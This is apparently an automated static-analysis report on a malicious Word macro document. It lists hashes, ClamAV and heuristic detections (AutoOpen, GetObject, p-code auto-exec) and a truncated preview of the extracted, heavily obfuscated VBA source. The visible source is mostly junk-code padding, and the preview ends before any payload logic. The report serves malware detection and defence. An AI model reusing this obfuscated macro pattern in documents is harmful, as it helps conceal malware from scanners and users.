Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 33aca259484d5076…

MALICIOUS

Office (OLE)

342.2 KB Created: 2019-02-20 19:52:00 Authoring application: Microsoft Office Word First seen: 2019-05-16
MD5: 0c73e150f84fae09db0b23ae7e02c70b SHA-1: 9ff3d44eb5e6f5a4fc33910321f494a835803cdf SHA-256: 33aca259484d507602eb2ba31a1e82f329c2e22ca47ea42a7e1c2d55ec37d5c5
242 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file is identified as malicious by ClamAV and exhibits multiple high-severity heuristic firings related to VBA macros, including auto-execution markers like 'autoopen' and 'GetObject' calls. The presence of obfuscated VBA code suggests an attempt to conceal malicious activity, such as downloading and executing a secondary payload, which is a common tactic for malware distribution.

Heuristics 8

  • ClamAV: Doc.Malware.Dpxx-6863824-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Dpxx-6863824-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 74463 bytes
SHA-256: 6dab8991788cc740ef0e5111b13dc4b350b9c90c7afbd2f060ee205cfd381edb
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "l508_39_"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "t_0__2"
Function K9_763()
      U2918415 = 532667031 - 500384989
   Y_1730 = 707955830 + s___890
  Select Case Q3_27_
      Case 673620104
         K9041755 = Chr(802957490 * Tan(K_5_4850))
         h5463125 = o3_73_
      Case 630865060
         U4_46_7 = v_010_
         Y__741 = v___84_
      Case 482110841
         k_2_8_3_ = 416266750
         o84__7_ = H44_8_
   End Select
      q_00182_ = 396063325 - 662115800
   J_1_3_ = 422720819 + B807__
  Select Case u35_4_47
      Case 277168866
         G_6__89_ = Chr(985698536 * Tan(k78__7))
         D_7377 = w__8_1
      Case 745694497
         j90_6_9 = Y_663_61
         j8_66301 = P0__83
      Case 814567607
         i__3_1 = 718667579
         j_2_6__ = M4___6_6
   End Select
      b6_216 = 264305446 - 139717851
   F_694_ = 278789105 + w6__83
  Select Case R67053
      Case 583927250
         L164_4_ = Chr(623460735 * Tan(K1_100_))
         k06__4__ = m9_7004
      Case 410405657
         G_2182 = S__7__7
         C01_702_ = i4665_4
      Case 612439703
         Q602767 = 540472436
         z_0_3_23 = B59083
   End Select
      r88358 = 947279681 - 582157667
   h16962 = 271529948 + Y760_3
  Select Case I2119469
      Case 220041650
         m91249_8 = Chr(647937501 * Tan(j60_4_6))
         D_0_7912 = z3_4_8
      Case 421630093
         D_903_ = Q__9358
         w49990_9 = t3_3_7
      Case 227823214
         X4711_04 = 804525400
         s45383_8 = s27997
   End Select
      b4__8_16 = 196773701 - 656276832
   l194440_ = 599273966 + m126989
  Select Case k_9765
      Case 755467028
         n7___360 = Chr(700958585 * Tan(X542_3))
         Z7_9011 = G__8_2_
      Case 937223718
         N_1__3_9 = a936634
         M__5_9_7 = J637506
      Case 480470993
         Y_794_80 = 558903128
         u_231802 = h32345
   End Select
      j_176444 = 876656672 - 324418534
   J2__4_11 = 173124531 + i_9__004
  Select Case Y_294_
      Case 587511501
         A581__ = Chr(799571047 * Tan(H84__26))
         Z8932300 = O1_7___
      Case 583460371
         j1_012__ = C39329
         M6547209 = O__75_
      Case 97868077
         u315__3 = 616735897
         j564250 = a__6_00
   End Select
      W94__16 = 515911793 - 104197173
   N911915 = 41877715 + U_87810
  Select Case i0323220
      Case 630324574
         S2__30 = Chr(148906362 * Tan(N26311))
         T5_035__ = s_760__
      Case 95083721
         j5___388 = D25645
         J_3_235 = t666___1
      Case 85303498
         v__482 = 408734274
         C26_3_6 = L_9_702_
   End Select
      E_31530 = 498289534 - 683841658
   n7724__9 = 939334201 + A720_6
  Select Case L1723710
      Case 607404833
         C16_7_ = Chr(470534082 * Tan(r1740_))
         u0750___ = O03545_
      Case 641469592
         a0_47__ = K7785__
         T1033534 = r351753
      Case 251036249
         s_2832 = 912728271
         s84844 = S7923_55
   End Select
End Function
Function p7_6_8(G_275211, z32849_)
On Error Resume Next
      V052422 = 320593413 - 897970229
   C_62_8 = 405680589 + Z4___451
  Select Case T96074
      Case 296962639
         N5535_8 = Chr(243868031 * Tan(n_59_1))
         d6__1099 = H__76__
      Case 417885420
         Y_31__ = D_0056_
         a499_7_ = N587_5_
      Case 92017704
         K__2_489 = 969838123
         W_05438 = R5_508_9
   End Select
      E6___85 = 526132691 - 724091118
   O__18724 = 835334687 + H59__2
  Select Case U8_22_3_
      Case 560561134
         Y_338553 = Chr(126427085 * Tan(E6__483))
         K__545_ = R08811
      Case 286818218
         F09_7_ = b44909_
         a1__360 = M185_956
      Case 90322472
         L8_9__ = 647306733
         i2_6784 = w4__90
   End Select
Set z_4_4
... (truncated)

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